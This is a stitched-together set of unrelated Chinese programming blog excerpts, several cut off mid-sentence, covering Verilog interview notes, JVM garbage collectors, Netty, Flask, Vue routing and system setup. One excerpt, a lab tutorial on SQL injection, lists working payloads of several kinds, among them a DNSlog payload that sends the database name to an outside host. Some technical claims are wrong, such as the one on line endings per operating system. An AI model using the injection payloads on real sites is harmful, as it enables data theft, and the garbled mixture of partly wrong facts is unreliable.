IC验证秋招笔记

1、wire型和reg型的区别 wire型数据常用来表示用以assign关键字指定的组合逻辑信号,reg型相当于储存器的基础上,可以看做是一个一个的寄存器,当触发条件达成时,寄存器的内容才发生改变,否则一直保持上一个状态。 wire型相当于是一根连线。 reg型相当于是储存器 注:reg型常被用于always模块内,也可以在initial里。而always模块内被赋值的每一个信号必须被定义成reg型。 2、顺序和并行 Verilog模块中所有的过程块(如initial块,always块)、连续赋值语句、实例引用都是并行的。对于过程块,在Verilog模块中是并行执行的,但在内部是顺序执行,如always内部顺序执行。 注:initial块只执行一次,而always块不断反复执行,直到仿真结束。 3、Verilog里为什么不用花括号{}而用begin...end? C语言中花括号{}的作用:就是把多个单条语句用花括号{}括起来组成一个结构上可以认为是一个复合语句。 而Verilog里自上而下的程序性代码用begin...end类似于C语言里的{},但是却不能用{},但是在约束constraint以及coverpoint的内容要用{}围起来,因为这里是声明性代码(声明语言),是并行的。 Verilog里面用begin...end关键字,用于多语句组成顺序块。Verilog 里{}还有两个基本作用,一个是拼接,一个是复制,如下 { }表示拼接,{第一位,第二位…};{{ }}表示复制,{4{a}}等同于{a,a,a,a}; 所以{4{1‘b1}}就表示将6个1拼接起来,即4’b1111 4、描述一下 code coverage 和 function coverage 的区别,为什么需要这些 coverage? 验证中,代码覆盖率是指衡量哪些设计代码在激活触发,而哪一些则一直处 于非激活状态的统计数据 ,而功能覆盖率指我们对设计所实现功能特性的收集 。 即使我们可以达到 100%的代码覆盖率,但这并不意味着 100%的功能覆盖率。原因在于代码覆盖率并不是用来衡量设计内部的功能运转,或者模块之间的互动,或者功能时序的触发等。代码覆盖率可以通过仿真器完成自动收集。 类似地,我们即便达到了 100%功能覆盖率,也可能只达到了 90%的代码覆盖率。 原因可能在于我们疏漏了去测试某些功能,或者一些实现的功能并没有被描述。 功能覆盖率需要通过人为定义,与拆分的待测功能点做一一映射。 从上述关于代码覆盖率和功能覆盖率简单的论述就可以证明, 没有任何一种单一的覆盖率可以完备地去衡量验证过程 ,如果想要得到全面的验证精度,我们就需要多个覆盖率种类的指标。 注: 代码覆盖率 100% 不代表功能没问题。 (1)功能覆盖率高但是代码覆盖率低 分析未覆盖到的代码,推断仿真是否有遗漏的功能点,代码是否为冗余或不可达代码; (2)功能覆盖率低但是代码覆盖率高 仿真用例没有关注到一些功能点,需要修改测试用例 5、定宽数组、动态数组、关联数组、队列各自的特点和使用 定宽数组:定宽,顾名思义就是一个确定的状态,是一个静态数组,编译时就已经确定了大小。其可分为压缩数组和非压缩数组,压缩数组是定义在类型的后面,名字的前面,例如 Bit[7:0][3:0]name,而非压缩数组是定义在名字的后面,例如Bit[7:0]name[3:0]。 动态数组:与静态数组不一样,编译时还未确定大小,只有在其内存空间运行时才能确定大小,使用前需要new[]进行空间分配。 关联数组:其主要针对超大空间但是又不全部需要所有数据时使用,这类似与Java里面的Hash,通过一个索引值的一个数组组成,且索引值必须唯一。例如bit [63:0] name[bit[63:0]]。 队列:队列结合了数组和链表的特点,可以在一个队列的任何位置进行增加或者删除元素。其通过[$]这样的符号进行申明:int q[$]。 6、结构体和联合体的区别 结构体 struct,其相比于其他数据结构,主要的特点就是可以由不同类型的数据类型变量组成,然后可以对这个结构体进行操作。Struct {bit [2:0] a,int c}name; 联合体 union 是对同一个内存变量可以有不同类型,比如一个寄存器有时 候为整数,有时为小数。 7、简述在 TB 中使用 interface 和 clocking block 的好处 Interface 是一组接口,用于对信号进行一个封装,捆扎起来。如果像 verilog 中对各个信号进行连接,每一层我们都需要对接口信号进行定义,若信号过多, 很容易出现人为错误,而且后期的可重用性不高。因此使用 interface 接口进行连 接,不仅可以简化代码,而且提高可重用性,除此之外,interface 内部提供了其他一些功能(引入delta_cycle)用于测试平台与 DUT 之间的同步和避免竞争。

安鸾靶场之SQL注入实操

sql注入是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析执行进行的攻击。 一、SQL注入划分 以技术手段可分类为 联合查询 ?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,DATABASE(),NULL,NULL,NULL 报错注入 // select构造 ?id=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) // insert、update、delete构造 1' or updatexml(1,concat(0x7e,(select version())),0) or '1 时间盲注 AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>1,0,1)))))BtGL) 布尔盲注 AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>64 堆叠注入 ';show tables;show column from `users`# DNSlog注入 and if((select load_file(concat('\\\\',(select databases()),'wnww82.dnslog.cn\\xxx'))),'true','false') 以注入场景可划分为 数字型:当输入参数为数字类型时,例如页码,ID等,存在注入时则为数字类型的注入。字符型:当输入参数为字符串类型时,则为字符串类型的注入,其与数字类型的注入的区别在于:注入时需要使用 ’ 来闭合。搜索型:当注入场景位于搜索框时,则为搜索型注入,会向数据库查询数据并返回于前端,若未设置过滤,则存在注入的可能。注入时需要使用 %’ 来闭合。伪静态:伪静态技术是指展示出来的是以html一类的静态页面形式,但其实是用PHP一类的动态脚本来处理的。GET、POST、COOKIE注入HTTP头注入 X-Forwarded-For:是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。Useragent:是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。Referer:当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。它允许服务器产生一系列的回退链接文档,像感兴趣的内容,日志等。它也允许跟踪那些坏链接以便维护。 宽字节注入: 宽字节注入源于程序员设置MySQL连接时的错误配置,如下: set character_set_client=gbk

ubuntu 解决QTCreator 拖影问题

Ubuntu 22.04的渲染系统好像改成了Wayland,于是我想也许禁用Wayland就一切正常了,于是编辑文件“/etc/gdm3/custom.conf”,加了一句“WaylandEnable=false”,重启系统一切都正常了……

Java去除字符串中空格、制表符、回车换行的方法

\t 是制表符 \r\n 回车换行 注意:\r,\n的顺序是不能够对换的,否则不能实现换行的效果. 操作系统的不同,换行符操也不同: \r: return 到当前行的最左边。 \n: newline 向下移动一行,并不移动左右。 Linux中表示:回车+换行; Windows中表示:回车+换行。 Mac中表示:回车+换行。 1、方法分类 str.trim(); //去掉首尾空格 str.replace(" ",""); //去除所有空格,包括首尾、中间 str.replaceAll(" ", ""); //去掉所有空格,包括首尾、中间 str.replaceAll(" +","");//去掉所有空格,包括首尾、中间 str.replaceAll("\s*", ""); //可以替换大部分空白字符, 不限于空格 ; \\s* 可以匹配空格、制表符、换页符等空白字符的其中任意一个。 2、上代码 String str=" 111\r\n\t22 222 3 "; System.out.println(str.trim()); System.out.println(str.replace(" ","")); System.out.println(str.replaceAll(" ", "")); System.out.println(str.replaceAll(" +","")); System.out.println(str.replaceAll("\\s*", "")); 3、replace和replaceAll是JAVA中常用的替换字符的方法,它们的区别是: (1) replace的参数是char和CharSequence,即可以支持字符的替换,也支持字符串的替换(CharSequence即字符串序列的意思,说白了也就是字符串); (2) replaceAll的参数是regex,即基于规则表达式的替换,比如,可以通过replaceAll("\\d", "*")把一个字符串所有的数字字符都换成星号; 相同点:都是全部替换,即把源字符串中的某一字符或字符串全部换成指定的字符或字符串,如果只想替换第一次出现的,可以使用replaceFirst(),这个方法也是基于规则表达式的替换,但与replaceAll()不同的时,只替换第一次出现的字符串

自动化测试Python + selenium + pywin32 实现非input表单文件上传功能

前言:本次仅记录自动化测试功能,如用本技术用于任和非法用途与作者无关。 在做自动化测试时,遇到需要上传文件而且不是input表单形式的,需要从windows文件中选择文件,如下图: 遇到这种情况将可以使用pywin35库,调用windows库实现文件上传,代码与环境如下: 1.环境 python 3.7selenium 4.4.3pywin32 304 2. 代码 from selenium import webdriver import win32com.client # 找到上传文件的位置并点击 driver.find_element(by=By.XPATH, value='your xpath').click() shell = win32com.client.Dispatch("WScript.Shell") #有些系统加上\r即可 有些需要加上\r\n shell.Sendkeys(r'filepath' + '{ENTER}' + '\r\n') 经过测试在该环境下,可以实现自动化测试的文件上传功能。

flask——1:Hello,Flask!

一,创建Flask项目 我这里使用的是pycharmpro版,使用community版需要先创建虚拟环境。 创建后,项目结构如下: 安装flask的同时还安装了flask所依赖的包: 二,Hello Flask 打开app.py,这是一个最小化的flask应用: 接下来将对这一个程序进行解释,从而初步了解flask框架。 1,创建程序实例 第一行: from flask import Flask 从flask包导入Flask类, 这个类表示从flask框架中引入了Flask对象。其中: flask包在创建flask项目时创建。Flask对象用于创建程序实例,因为web服务器使用WSGI将所有请求都转交给这个对象进行处理。 第二行: app = Flask(__name__) 将__name__作为参数交给Flask对象,将该对象实例化为app。其中: 使用特殊参数__name__,Python会根据所处的模块来赋予__name__相应的值——所在模块的本地名称,即这里的“app”。 2,注册路由 只有定义了处理函数并能将请求映射到该函数,才能完成对请求的处理。 第六行: @app.route('/') 这就能完成这个映射(在web应用程序中也可以叫路由):将URL规则与处理函数进行关联。其中: @app.route()装饰器用于完成上述的关联——注册路由。'/'就是一个URL规则,即根地址。访问这个地址就会触发紧相邻的下一行的函数。 第七、八两行: def hello_world(): return 'Hello World!' 这就是一个请求处理函数,在用户访问根地址后返回一段内容。其中: return是必须的,因为一个视图函数必须在处理完一个请求后做出一个响应。可以给一个视图关联多个URL,只需按期望的顺序添加 @app.route() 装饰器就行。当然也能在URL中添加参数。如下: @app.route('/') @app.route('/hello/<name>') def hello_world(name): return 'Hello %s!' % name 3,运行开发服务器 flask是自带开发服务器的,所需的运行环境可在pycharm中进行配置: 第十二、十三行: if __name__ == '__main__': app.run(debug=True) 让开发服务器能运行程序。其中: if __name__ == '__main__':告知开发服务器直接以脚本形式运行本文件。app.run()真正实现程序运行,直接在程序实例app上调用 Flask 对象的属性和方法来实现相关功能。记得在运行环境中打开调试模式。

java -version

一、JDK下载 1.官网下载 点击官网下载地址 往下划,找到自己电脑相对应的JDK,点击下载。 二、安装步骤 初学者建议傻瓜式安装,直接点击下一步即可。 三、搭配环境变量 1.Path变量 解决方法:配置Path变量。 右键点击“此电脑”,选择属性,选择高级系统设置 打开jdk的安装目录,第一个bin目录,复制路径。 输入java -version,按回车键,显示当前Java版本号。

什么是IMAP?

什么是IMAP? IMAP全称是Internet Message Access Protoco,这是一种邮件协议,允许邮件客户端如QQ邮箱、163邮箱、腾讯企业邮通过IMAP协议从邮件服务器上获取邮件信息。 通过网络,你的邮件客户端通过IMAP协议从网络上获取到您邮件,当你点击阅读邮件时,你实际上并没有下载或者存储你的所有邮件,而是通过服务器阅读,所以你可以通过手机、网页、邮件客户端等不同方式和设备来阅读邮件,保证邮件并不会遗漏。 使用IMAP有什么好处? 使用IMAP有很多优势,具体可以表现在: 1、 你可以通过服务器,从许多不同设备上获取到邮件,丰富用户使用场景。 2、 我们在阅读邮件时,并不会加载所有邮件,而是仅下载我们点击的邮件,大大节省我们等待的时间与设备的物理存储空间。 3、 附件不会通过IMAP自动下载,对于一些特别大的附件或者有安全风险的附件,都可以进行自由选择规避 4、 IMAP可以离线使用,对于网络不佳的情况下,也可以正常阅读邮件内容。 随着智能手机的普及,其功能也越来越强大,IMAP协议已经是许多邮箱首选的协议。 如何通过IMAP协议自动连接其他应用? 在日常工作中,我们经常需要使用邮件做一些比较正式的沟通,同时也会使用到腾讯文档、腾讯会议、企业微信等应用。 通过腾讯云HiFlow场景连接器,但我们接收到新的邮件时,通过IMAP连接其他应用,可以实现: 自动化连接邮件和企微/飞书/钉钉等IM系统:例如当HR的招聘邮箱收到一个新的面试者邮件申请时,自动发送企业微信/飞书/钉钉消息,或者将面试者的简历自动归档至表格。 自动化连接邮件和表格文档:例如当公司财务邮箱收到一个新的合同时,自动将合同归档至表格。 腾讯云HiFlow场景连接器是什么产品? 腾讯云HiFlow场景连接器是腾讯云推出的零代码的自动化工作流程平台,目前已经实现了连接了比如企业微信、腾讯会议、腾讯文档、腾讯电子签、TAPD、乐享、兔小巢、微信小商店、企点、公众号、EC SCRM、维格表、金数据、金蝶、微盛SCRM、智齿、用友、有赞等200+应用和产品的打通。 腾讯云HiFlow场景连接器通过连接多个应用程序打造符合自身业务场景的自动化方案,快速的把办公场景中一些繁复、重复、价值低的工作自动化完成,比如自动发消息通知、跨应用数据自动同步、定时处理特定任务等,帮助企业员工留出更多的时间处理更重要的工作,提升个人和企业的工作效率。

Vue3路由传参

一.router-link ①不带参数 <router-link :to="{name:'guest'}">跳转到路由为guest页面</router-link> <router-link :to="{path:'guest'}">跳转到路由为guest页面</router-link> router-link中链接如果是**’ / '**开始就是从根路由开始,如果开始不带 ’ / ',则从当前路由开始. 举个栗子: 当前页面所在路由为 /home/goods 设置router-link链接 …{path:'guest'} 跳转后页面所在路由为 /home/guest …{path:'/guest'} 跳转后页面所在路由为 /guest ②带参数 1️⃣query传参数 <router-link :to="{path:'guest',query:{id:1}}">跳转到路由为guest页面</router-link> <router-link :to="{name:'guest',query:{id:1}}">跳转到路由为guest页面</router-link> 不需要路由配置 2️⃣接收参数 <script setup lang="ts"> import { useRoute } from 'vue-router'; import { onMounted } from 'vue'; const route = useRoute(); onMounted(() => { console.log(route.query.id); //1 }) </script> 1️⃣params传参数 <router-link :to="{name:'guest',params:{id:1}}">跳转到路由为guest页面</router-link> 路由配置path:"/home/:id"或者path:"/home.id" 路由不配置path中的参数id 第一次可请求,刷新页面id会消失 路由配置path中的参数id 刷新页面id会保留 2️⃣接收参数 <script setup lang="ts"> import { useRoute } from 'vue-router'; import { onMounted } from 'vue'; const route = useRoute(); onMounted(() => { console.

使用hyper-v安装Ubuntu20.04

前言 上大三之后接触到操作系统这门课程,想尝试接触一下Linux系统。于是有了使用hyper-v安装Ubuntu20.04的冲动。也是借鉴了大佬的文章才顺利安装。 由于使用的是win10家庭版,系统未自带hyper-v,这里借鉴了下面这位博主的做法,安装成功。 文章链接:win10 家庭中文版没有Hyper-V,这样安装一步搞定_GarenWang的博客-CSDN博客_没有hyper-v 搞定hyper-v之后开始准备Ubuntu20.04 LTS的资源,下面的这位博主在文章里给出了官网下载链接https://ubuntu.com/download/desktop 文章链接: win10上 Hyper-V 安装 ubuntu20.04_ZChen1996的博客-CSDN博客 博主在文章里面介绍的十分详细,并且图文并茂,步骤非常清晰。 主要步骤包括: 1.新建虚拟机。 2.指定名称和存储位置(名称为Ubuntu20.04即可)。 3.根据电脑自身情况选择指定代数,分配内存,配置网络。并连接虚拟硬盘,选择下载好的Ubuntu的映像文件(选择到该文件的保存位置)。 4.完成上述操作即可开始安装(我选择的是试用Ubuntu,而安装步骤该博主的文章有非常详细的解释并附加配图)。 效果图: 安装好的虚拟机 我是配置了4096MB的内存,没有配置网络。另外退出的时候,如果直接将Hyper-v管理器退出,会发现Ubuntu还处于运行状态,选择将它处于关机状态。

char类型与int类型的转换

在c语言中,char类型与int类型可以转换,如何转换我在此做一个粗略的总结 首先是char转换为int #include <stdio.h> int main() { char a ; a = 110; int c = a; printf("%c\n", a); printf("%d\n", a); printf("%d", c); return 0; } 结果为:n 110 110 即将ASC码强制转换为int 但当输入的数字大于127(ASC码的最大值)时,-128和127就像转盘一样连在一起,如果上述代码中a=128,则输出 一个意义不明的符号(因为-128在ASC码中没意义) -128 -128 如果a=256,则输出:空字符 0 0;即像轮盘一样转了回来。 同理,如果先定义int a=110再将其强制转换成char,即是将其转换成asc在打印出字母,若a在128~255间,则打印意义不明的字符,到256重新从0开始。 更多详情可以参考:(195条消息) char与int等数据类型的强制转化_THEALVA的博客-CSDN博客_int类型强制转换成char

Ubuntu 22.04 | 20.04 |18.04 上安装 PHP 8.1

步骤一 更新Ubuntu sudo apt update && sudo apt -y upgrade 重启系统 sudo systemctl reboot 步骤二 然后添加另外的ppa源 添加 Ondřej Surý PPA 存储库 sudo apt update sudo apt install lsb-release ca-certificates apt-transport-https software-properties-common -y sudo add-apt-repository ppa:ondrej/php 出现以下文字,按下:回车 enter按键: 添加新的源后,更新多一次apt sudo apt update 步骤三 在 Ubuntu 22.04|20.04|18.04 上安装 PHP 8.1 sudo apt install php8.1 安装完成后,输入php --version 可以看到版本信息 步骤四:在 Ubuntu 22.04|20.04|18.04 上安装 PHP 8.1 扩展 sudo apt install php8.1-<extension> extension 可以替换任意需要的扩展名称 sudo apt install php8.

G1垃圾收集器

简介 G1 收集器是一款主要面向服务端应用的垃圾收集器,特点是以极高概率满足GC停顿时间的要求(可预测的停顿),同时具备高吞吐性能。 堆内存划分 虽然 G1 收集器也遵循分代收集理论,但其堆内存的布局与其他收集器有非常明显的差异: G1 不再坚持固定大小和固定数量的分代区域划分,而是把连续的 Java 堆划分为约2048个个大小相等的分区(Region),每个 Region 都可以根据需要,扮演新生代的 Eden 空间、Survivor 空间,或者老年代空间。Region 中还有一类特殊的 Humongous 区域,专门来存储大对象(大小超过一个 Region 容量的一半);而对于超过整个 Region 的超大对象,将会被存在 N 个连续的 Humongous Region 中(G1 的大多数行为都把 Humongous Region 作为老年代的一部分看待)。从分代上看,G1依然属于分代型垃圾回收器,它会区分年轻代和老年代,年轻代依然有Eden区和Survivor区。但从堆的结构上看,它不要求整个Eden区、年轻代或者老年代都是连续的,也不再坚持固定大小和固定数量。(一个region有可能属于Eden、Survivor、Old或者Humongous区域,但是一个region只可能属于一个角色) G1 收集器的堆内存划分如图所示: 图片中E指Eden, S是Survivor, H指Humongous, O是Old, 空白区域是可用分区。 停顿时间模型 停顿时间模型(Pause Prediction Model):指定在一个长度为 M 毫秒的时间片段内,消耗在垃圾收集上的时间大概率不超过 N 毫秒。 G1 收集器之所以能建立可预测的停顿时间模型,是因为它将 Region 作为单次回收的最小单元(每次收集到的内存空间都是 Region 大小的整数倍),这样可以有计划地避免整个 Java 堆进行全区域垃圾收集。更具体的处理思路:让 G1 收集器去跟踪各个 Region 中的垃圾堆积的“价值”大小,然后在后台维护一个优先级列表,每次根据用户设定的收集停顿时间,优先处理回收价值收益最大的那些 Region “价值”的衡量指标是:基于平均衰减的数学模型得出的每次回收所获得的空间大小以及回收所需时间的经验值。 Mix GC G1 收集器之前的其他所有收集器(包括 CMS 收集器),垃圾收集的目标范围要么是整个新生代(Minor GC),或者整个老年代(Major GC),抑或整个 Java 堆(Full GC)。

Netty零拷贝

1. 概述 零拷贝即Zero-copy,就是在操作数据时,不需要将数据buffer从一个内存区域拷贝到另一个内存区域,因为少了内存的拷贝,因此CPU的效率就得到提升。 在OS层面上的零拷贝,通常指避免在用户态与内核态之间来回拷贝数据。例如Linux提供的mmap系统调用,它可以将一段用户空间内存映射到内核空间,当映射成功后,用户对这段内存区域的修改可以直接反映到内核空间;同样的,内核空间对这段区域的修改也直接反映到用户空间。正因为有这样的映射关系,我们就不需要在用户态与内核态之间拷贝数据,提高了数据传输的效率。 需要注意的是,Netty中的Zero-copy与我们上面所提到的OS层面Zero-copy不太一样,Netty的Zero-copy完全是在用户态(Java层面)的,它的Zero-copy的更多是偏向于优化数据操作这样的概念。 Netty的零拷贝体现在如下几个方面: Netty提供了CompositeByteBuf类,它可以将多个ByteBUf合并为一个逻辑上的ByteBuf,避免了各个ByteBuf之间的拷贝通过wrap操作,我们可以将byte[]数组、ByteBuf、ByteBuffer等包装成一个Netty ByteBuf对象进而避免了拷贝操作ByteBuf支持slice操作,因此可以将ByteBuf分解为多个共享同一存储区域的ByteBuf,避免了内存的拷贝通过FileRegion包装的FileChannel.tranferTo实现文件传输,可以直接将文件缓冲区的数据发送到目标Channel,避免了传统通过循环write方式导致的内存拷贝问题。 2. 通过 CompositeByteBuf 实现零拷贝 假设我们有一份协议数据, 它由头部和消息体组成, 而头部和消息体是分别存放在两个 ByteBuf 中的, 即: ByteBuf header = ... ByteBuf body = ... 我们在代码处理中, 通常希望将 header 和 body 合并为一个 ByteBuf, 方便处理, 那么通常的做法是: ByteBuf allBuf = Unpooled.buffer(header.readableBytes() + body.readableBytes()); allBuf.writeBytes(header); allBuf.writeBytes(body); 可以看到, 我们将 header 和 body 都拷贝到了新的 allBuf 中了, 这无形中增加了两次额外的数据拷贝操作了. 那么有没有更加高效优雅的方式实现相同的目的呢? 我们来看一下 CompositeByteBuf 是如何实现这样的需求的吧: ByteBuf header = ... ByteBuf body = ... CompositeByteBuf compositeByteBuf = Unpooled.compositeBuffer(); compositeByteBuf.addComponents(true, header, body); addComponents方法将 header 与 body 合并为一个逻辑上的 ByteBuf, 即:

CMS垃圾回收器介绍

1. CMS垃圾回收器 CMS是老年代回收器,只能回收老年代的对象,在收集过程中可以与用户线程并发操作。CMS牺牲了系统的吞吐量来追求收集速度,适合追求垃圾收集速度的服务器上。CMS收集器可以通过参数:-XX:+UseConcMarkSweepGC启用。 2. 收集过程 CMS收集器是基于算法标记-清除来实现的,整个过程分为5步: 初始标记 记录能被GC Root直接引用的对象,触发一次STW,但是这次STW很快,因为在标记的过程中不会标记一整条引用链的对象,如图所示,只记录红色箭头关联到的对象,不记录黑色箭头。 在这里插入图片描述 并发标记 从GC Roots的直接引用对象开始依次扫描(对上面的黑色箭头的链路做扫描),这个过程需要比较多的时间,用户线程和GC线程同时执行,不会产生STW,因为在扫描的过程中用户线程还在不断的执行所以可能会出现标记过的对象又变成了垃圾。 重新标记 重新标记需要Stop The World,这个阶段是为了修正在并发标记阶段产生的浮动垃圾,对标记过的对象进行。 并发清除 GC线程和用户线程同时进行,开始正式清除未被标记的垃圾,在此阶段也会产生垃圾(浮动垃圾),产生垃圾后无法清除,只能留待下一次GC。 在清除完后会重置标记信息。 CMS收集过程如下图所示: 收集过程总结: 在初始标记和重新标记有两次stop the world的标记操作初始标记只标记GC Root关联的对象,速度很快在初始标记触发STW的时候,它的标记方式还是原始的更改对象头MarkWord的GC标记字段,但是在并发标记阶段,因为是用户线程和GC线程同时在跑,所以采用的是三色标记的方式进行垃圾标记。 4. CMS三色标记 三色标记将对象的标记过程分为三种颜色:白色、灰色、黑色 白色:对象的默认颜色,从GC Root开始扫描,如果对象是不可达对象的话就是白色,也就是垃圾对象,在并发清理的时候会清理掉。灰色:当前对象已经被扫描过,但是当前对象所依赖的其他对象还没有被扫描。黑色:当前对象和它所依赖的对象都已经被扫描过,不会对黑色对象和引用的对象再次进行扫描。 三色标记使用在并发标记阶段,使用三色标记会导致两个问题,一个是漏标,一个是多标。 漏标 比如现在有ABCD四个对象,A依赖了B和C,B依赖了D,初始标记之后A对象已经被扫描过了所以是灰色,其他对象是白色: 继续往下执行扫描B和C,当B和C扫描完之后,A变成了黑色,B变成了灰色,C是黑色,D还是白色: 此时如果用户线程把B和D的引用去掉,让C依赖D,建立起C和D的关系之后B变成了黑色: 那么问题来了,C已经是黑色就不会再对其依赖的对象扫描了,但事实上C还有一个依赖对象D没有被扫描。此时如果进行垃圾回收的话D就会被回收掉,这就是所谓的漏标问题。 多标 还是用上面的例子进行说明,比如现在AB是黑色,C是灰色,D是白色,当GC正在扫描D的时候,B被置空了,从逻辑上讲B是垃圾,理应被回收,但是因为GC不会对黑色对象做重复扫描所以B还是黑色,在进行垃圾清理的时候不会被回收,只能等下次GC的时候再进行重新标记扫描。这种情况相对于漏标来说还行,起码不会导致系统出BUG。 漏标的解决方案 CMS使用增量更新的方式解决三色标记漏标问题。 增量更新: 将新增的引用维护到一个集合里面,将引用的源头变成灰色,等待重新标记阶段再重新进行一次扫描。比如:当D的引用指向了C,则会将C变成灰色,并将C放在一个新增引用的集合里面;在重新标记阶段会将C作为根节点继续向下扫描。 5. 为什么CMS要用标记清除法收集垃圾? CMS的垃圾回收阶段是并发回收的,如果使用标记整理法收集的话,对象的内存地址会进行移动,因为用户线程还在执行,为了避免因内存地址移动带来的bug,还需要对用户线程的对象指针进行维护,在这个过程中肯定会STW,这样做就提高了垃圾清理的时长,停顿时间也变长了,不符合CMS一获取最短回收停顿时间为目的设计的初衷。 6. Concurrent Mode Failure(并发模式失败) CMS的垃圾回收周期很长,但是他的STW时间是分开两部分的,比如总的STW要100ms,可能他会在初始标记消耗20ms,重新标记消耗80ms,对于用户来说能感知到的停顿时长可能只有80ms。因为CMS的回收周期很长,所以在垃圾很多的情况下可能出现上次GC周期还没执行完就又触发了GC,称之为Concurrent Mode Failure。出现这种情况之后,Java虚拟机就会启动预备方案,启用Serial Old收集器替换CMS收集器,这时候整个GC过程都会Stop The World。 因为是采用标记清除算法进行垃圾回收,所以会存在内存碎片的问题,通过参数-XX:+UseCMSCompactAtFullCollection可以设置清除之后再做一次整理。 7.CMS优缺点 优点:并发收集、低停顿。 其实最主要的是CMS把收集过程中步骤拆分了,而最耗时的操作都是并发执行,自然就会低停顿了。缺点:产生大量空间碎片(可以通过配置重新整理,但是加长停顿时间)、并发阶段会降低吞吐量。无法处理浮动垃圾。 CMS采用的是标记-清除算法,所以会产生大量的空间碎片。 8. 参数设置 #老年代采用CMS收集器收集 -XX:+UseConcMarkSweepGC 当设置使用CMS垃圾回收器进行垃圾收集后,在老年代使用CMS进行垃圾回收,在年轻代默认开启ParNew回收。 所以说CMS是一款老年代回收器。 #用于指定在执行完Full GC后对内存空间进行压缩整理,以此避免内存碎片的产生。不过由于内存压缩整理过程无法并发执行,所带来的问题就是停顿时间变得更长了。 -XX:+UseCMSCompactAtFullCollection #设置在执行多少次Full GC后对内存空间进行压缩整理。默认是0 -XX:CMSFullGCsBeforeCompaction= #设定CMS的线程数量,不指定默认是CPU核心数 -XX:+ParallelCMSThreads= #默认情况下初始标记是单线程的,这个参数可以让他多线程执行,可以减少STW XX:+CMSParallellInitialMarkEnabled #使用多线程进行重新标记,目的也是为了减少STW -XX:+CMSParallelRemarkEnabled 9.

java nio ByteBuffer的使用

1、介绍 Buffer是nio包的一个抽象类,作为java nio的三大组件(Buffer、Channel,Selector)之一,在java nio网络编程中尤为重要。 Buffer提供了一个字节缓冲区,配合Channel使用,可以从Channel中读取或写入数据。 2、结构 属性介绍 以ByteBuffer为例,其包括5个主要的属性:hb、position、limit、capacity、mark。 hb:ByteBuffer类有一个byte数组变量hb,此数组里面存放的就是实际的字节数据。 capacity:容量大小,其实就是hb字节数组的大小,始终不变。 position:当前读写操作的ByteBuffer对象位置,其实就是hb字节数组下标位置。 limit:读写操作position的大小限制,读写操作时position需要小于limit。 mark:记录当前读写的位置,方便后续使用。 常用API方法 /** * 初始化指定大小的ByteBuffer对象返回。 */ static ByteBuffer allocate(int capacity); /** * 使用指定字节数组初始化ByteBuffer对象返回。 */ static ByteBuffer wrap(byte[] array) /** * 返回当前position位置的字节数据,position自增1。 */ byte get(); /** * 返回指定位置的数据。 */ byte get(int index); /** * 当前position位置设置为传入字节,position自增1。 */ ByteBuffer put(byte b); /** * 切换到读模式。 */ Buffer flip(); /** * 切换到写模式,不保留未读完数据。 */ Buffer clear(); /** * 切换到写模式,保留未读完数据。 */ ByteBuffer compact(); 图解 ①初始化状态。执行**ByteBuffer.

gitlab修改host git@gitlab.example.com

1、GitLab如果没修改host的话展示如图: 2、修改GitLab的host . 修改gitlab仓库地址 vim /var/opt/gitlab/gitlab-rails/etc/gitlab.yml gitlab: ## Web server settings (note: host is the FQDN, do not include http://) host: 192.168.10.100 port: https: false …… email_from: gitlab@192.168.10.100 . 重启gitlab gitlab-ctl restart 3、修改后

java+postgis实现根据两点生成模拟轨迹gps数据

java+postgis实现根据两点生成模拟轨迹gps数据 文章目录 java+postgis实现根据两点生成模拟轨迹gps数据前言一、实现流程1.请求参数2.功能流程3.postgis重要使用函数介绍4.生成的GPS模拟轨迹点位效果图 二、具体代码1.核心代码 总结 前言 在我们开发系统过程中少不了需要制造一些测试数据用来检验功能的正确性,同时在功能演示给客户坐汇报也需要用到一些测试模拟真实的数据来展示效果,但是我们如果手动去制作这些测试数据就会很耗时耗力,通过代码的方式去自动生成测试数据就显得比较重要了。 常见的测试数据文本描述类型的制造起来相对容易,但是我们如果需要制造出模拟一辆或者多辆车的行驶轨迹GPS点位数据就比较麻烦,首先得保证数据是在道路上面且道路具有连贯性,其次需要保证移动的位置和方向以及每次行驶的距离具有真实性,这样难度就比较大了,下文就来实现如何快速生成这种比较难以手动制造的车辆行驶轨迹的模拟GPS点位数据。 一、实现流程 1.请求参数 points:点位信息,可以设置途径点,多个点位用分号隔开,格式:起点;途径点;终点 timeInterval:间隔时间 用来控制模拟数据的计算点位 单位秒 speed:平均速度 用来控制模拟数据的计算点位 单位KM/H randomBase:用来控制数据点位的随机起伏基数,动态调整模拟出来的点位效果 2.功能流程 发送请求 —》根据点位信息查询路径规划数据 —》根据路径规划线(基于graphHopper实现可以参照之前的文章实现)路数据进行插值计算遍历获取到轨迹点位 —》生成结果geojson轨迹点位数据 3.postgis重要使用函数介绍 ST_LineInterpolatePoint:返回沿直线在分数位置处插补的点。 函数结构:第一个参数为线的空间几何数据,第二个参数是一个介于0和1之间的浮点数,表示点所在的线长度的分数。返回一个点几何对象。 geometry ST_LineInterpolatePoint(geometry a_linestring, float8 a_fraction); 4.生成的GPS模拟轨迹点位效果图 二、具体代码 1.核心代码 代码如下(示例): public JSONObject generateTrackData(String points, Double timeInterval, Double speed,Double randomBase) { JSONObject result = new JSONObject(); result.put("type","FeatureCollection"); JSONArray features = new JSONArray(); List<GHPoint> GHpoints = new ArrayList<>(); String[] pointsz = points.split(";", -1); // 遍历同时检查点位 如果超出中国范围的点位直接处理掉 for (int i = 0; i < pointsz.

python对数据提取保存并拆分

